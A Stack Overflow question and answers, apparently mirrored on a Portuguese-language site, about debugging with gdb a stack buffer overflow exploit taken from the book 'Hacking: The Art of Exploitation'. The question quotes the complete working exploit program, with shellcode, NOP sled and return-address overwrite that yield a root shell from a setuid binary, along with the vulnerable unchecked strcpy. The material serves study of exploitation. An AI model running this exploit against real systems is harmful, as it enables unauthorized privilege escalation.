Pergunta

I'm reading the book "Hacking - The Art of Exploitation". There is an example on a stack buffer overflow.

This is a part of the source of the attacked program, "notesearch":

char searchstring[100];
// ...
if(argc > 1)                      
    strcpy(searchstring, argv[1]);   // <-- no length check

And here is the source of the attacking program, "exploit_notesearch":

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

   strcat(command, "\'");
   // <-- dumping full command string here
   system(command); // run exploit
   free(command);
}

When running exploit_notesearch, everything works fine, I'll get a root shell as the notesearch program has suid rights. The command string contains the name of the program to call, a NOP sled, the shellcode and the return adress to the shellcode.

I want to debug the exploited program with gdb to see how the exploit exactly works. To do this, I dumped the command string (right before the call to system()) into a file (let's call it dump.txt). Then from a shell I tried to get the same result, I called the exploited program directly with the dumped command string as an argument.

prompt> $(cat dump.txt)

The notesearch program started, but instead of a root shell I got a segmentation fault. I've also varied the return adress in a very wide range via a script.

My question, what is the difference between:

  • starting notesearch via the shell

  • starting notesearch via system

Maybe you also know another way to debug the exploited program via gdb.

Foi útil?

Solução

Got it working: Added the following lines at the beginning of main in the notesearch program, which sleeps 45s:

#ifdef MY_DEBUG
printf("child running - sleep()\n");
fflush(stdout);
sleep(45);
printf("child running - sleep() finished\n");
#endif

Then I start exploit_notesearch, which itself starts notesearch which now waits 45s. In another shell I list all running processes to get the PID of the notesearch process. Then I run gdb, attach to this process, and can then watch the exploit in the debugger.

Outras dicas

In exploit_notesearch.c, the return address was calculated with reference to the variable i, which was declared in the main function of exploit_notesearch.c

So the command string now contains return address w.r.t to variable i. When you output the command string to a file and then execute it directly with ./notesearch <command>

This return address might probably be referring to a memory location which is inaccessible to your current notesearch program, hence the seg fault.

Licenciado em: CC-BY-SA com atribuição
Não afiliado a StackOverflow
scroll top